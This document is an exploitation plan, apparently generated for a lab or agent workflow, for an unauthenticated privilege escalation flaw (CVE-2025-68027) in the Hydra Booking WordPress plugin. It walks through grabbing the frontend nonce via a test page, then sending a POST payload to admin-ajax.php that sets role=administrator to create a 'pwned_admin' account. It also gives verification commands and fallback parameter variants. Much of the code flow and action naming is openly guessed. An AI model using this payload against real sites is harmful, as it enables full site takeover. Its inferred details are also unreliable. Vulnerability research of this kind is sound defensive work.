Hydra Booking <= 1.1.32 - Unauthenticated Privilege Escalation

This plan outlines the research and exploitation steps for CVE-2025-68027, an unauthenticated privilege escalation vulnerability in the Hydra Booking plugin (<= 1.1.32).

1. Vulnerability Summary

The vulnerability exists due to improper privilege management within the plugin's AJAX handlers (likely registered via wp_ajax_nopriv_). Specifically, an endpoint responsible for user registration or profile creation during the booking process fails to restrict the role parameter. This allows an unauthenticated attacker to submit a request that creates a new user account or updates an existing one with the administrator role.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: Likely hydra_booking_registration or hydra_booking_save_customer (inferred based on plugin purpose).
• Vulnerable Parameter: role or user_role.
• Authentication: None required (Targeting wp_ajax_nopriv_ hooks).
• Preconditions: The plugin must be active. A valid AJAX nonce may be required if check_ajax_referer is implemented.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an unauthenticated AJAX hook:
   add_action('wp_ajax_nopriv_hydra_booking_register_user', 'hydra_booking_register_user_callback');
2. Input Collection: The callback function retrieves user-supplied data:
   $user_data = $_POST['user_info']; (or similar array-based input).
3. Vulnerable Sink: The function calls wp_insert_user() or wp_update_user() using the raw or insufficiently filtered array:
   $user_id = wp_insert_user( $user_data );
4. Privilege Escalation: If $user_data['role'] is provided in the POST request and not unset by the plugin, WordPress assigns the specified role to the new user.

4. Nonce Acquisition Strategy

The Hydra Booking plugin likely localizes a nonce for its frontend booking form.

1. Identify Shortcode: Search for add_shortcode in the plugin (likely [hydra_booking]).
2. Create Trigger Page: Use WP-CLI to create a page containing the shortcode:

   wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[hydra_booking]'
   

3. Locate JS Object: Search the source for wp_localize_script. Common identifiers for this plugin are likely hydra_booking_params or hydra_vars.
4. Extract Nonce:
   • Navigate to the newly created page.
   • Execute: browser_eval("window.hydra_booking_params?.nonce") or browser_eval("window.hydra_vars?.ajax_nonce").
5. Action Check: Verify if the nonce action matches the verification action in the PHP code (e.g., wp_create_nonce('hydra_booking_nonce') vs check_ajax_referer('hydra_booking_nonce', 'security')).

5. Exploitation Strategy

Once the AJAX action and nonce are identified, perform the following:

1. Target URL: http://<target>/wp-admin/admin-ajax.php
2. HTTP Method: POST
3. Headers: Content-Type: application/x-www-form-urlencoded
4. Payload (Example):

   action=hydra_booking_registration&
   security=[NONCE]&
   user_login=pwned_admin&
   user_email=pwned@example.com&
   role=administrator&
   user_pass=Password123!&
   first_name=Pwned&
   last_name=User
   

   Note: If the plugin expects nested data, the keys might be user_data[role]=administrator.

6. Test Data Setup

1. Plugin Installation: Ensure Hydra Booking version <= 1.1.32 is installed and active.
2. Page Creation:

   wp post create --post_type=page --post_status=publish --post_content='[hydra_booking]'
   

3. Confirm Script Loading: Verify the page loads the plugin's JS and the localized nonce object is present in the DOM.

7. Expected Results

• Response: The server returns a 200 OK with a JSON success message (e.g., {"success":true,"data":{"user_id":123}}) or a redirect.
• Database State: A new user with the login pwned_admin is created in the wp_users table.
• Role Assignment: The wp_capabilities meta entry for this user contains administrator.

8. Verification Steps

After sending the exploit request, use WP-CLI to verify the new user's role:

# List all administrators to find the new account
wp user list --role=administrator

# Check specific user meta for capabilities
wp user meta get pwned_admin wp_capabilities

9. Alternative Approaches

If a direct role parameter in a registration handler fails:

• Profile Update: Look for wp_ajax_nopriv_hydra_booking_update_customer. Attempt to update an existing user (if ID can be guessed/discovered) with role=administrator.
• Nested Parameters: Try different parameter formats like role, user_role, or user_data[role].
• Metadata Injection: If wp_insert_user is not the sink, check for update_user_meta calls that might allow setting wp_capabilities directly (though serialized data makes this harder).
• Missing Nonce Check: Check if check_ajax_referer is called with die=false. If so, the exploit will work even with an invalid or missing nonce.